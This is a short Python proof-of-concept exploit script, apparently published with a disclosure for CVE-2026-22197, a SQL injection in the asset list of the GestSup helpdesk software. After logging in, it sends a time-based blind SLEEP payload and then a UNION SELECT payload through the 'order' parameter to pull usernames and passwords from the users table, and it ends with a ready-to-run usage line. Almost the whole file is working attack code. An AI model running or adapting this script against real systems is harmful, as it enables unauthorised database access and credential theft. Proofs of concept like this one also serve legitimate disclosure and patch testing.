#!/usr/bin/env python3
"""
CVE-2026-22197 PoC - GestSup SQL Injection in Asset List
Author: VulnCheck
"""
import requests
import argparse
from urllib.parse import urlencode
def exploit_sql_injection(target_url, username, password):
"""
Exploit SQL injection in GestSup asset list functionality
"""
session = requests.Session()
# Step 1: Authentication
login_url = f"{target_url}/index.php?page=login"
login_data = {
'username': username,
'password': password
}
print("[*] Authenticating to GestSup...")
response = session.post(login_url, data=login_data)
if 'logout' not in response.text.lower():
print("[-] Authentication failed!")
return None
print("[+] Authentication successful!")
# Step 2: SQL Injection in asset list sorting parameter
asset_url = f"{target_url}/index.php?page=assets"
# Payload: Extract database version using time-based blind injection
# This payload works on MySQL databases
sql_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))a)---"
print(f"[*] Sending SQL injection payload...")
params = {
'order': sql_payload,
'sens': 'ASC'
}
import time
start_time = time.time()
response = session.get(asset_url, params=params, timeout=30)
elapsed = time.time() - start_time
if elapsed >= 5:
print("[+] SQL Injection confirmed! Database is vulnerable.")
print(f"[+] Time-based blind injection successful (delay: {elapsed:.2f}s)")
# Step 3: Extract data using UNION-based injection
# This payload attempts to extract user credentials
union_payload = "1' UNION SELECT 1,2,username,password,5,6,7,8,9,10,11,12 FROM users---"
params = {
'order': union_payload,
'sens': 'ASC'
}
print("[*] Extracting sensitive data...")
response = session.get(asset_url, params=params)
if 'admin' in response.text.lower() or 'password' in response.text.lower():
print("[+] Data extraction successful!")
return session.cookies
def main():
parser = argparse.ArgumentParser(description='CVE-2026-22197 GestSup SQL Injection')
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-u', '--username', required=True, help='Username')
parser.add_argument('-p', '--password', required=True, help='Password')
args = parser.parse_args()
exploit_sql_injection(args.target, args.username, args.password)
if __name__ == '__main__':
main()
# Usage: python cve-2026-22197.py -t http://target-gestsup.com -u user -p password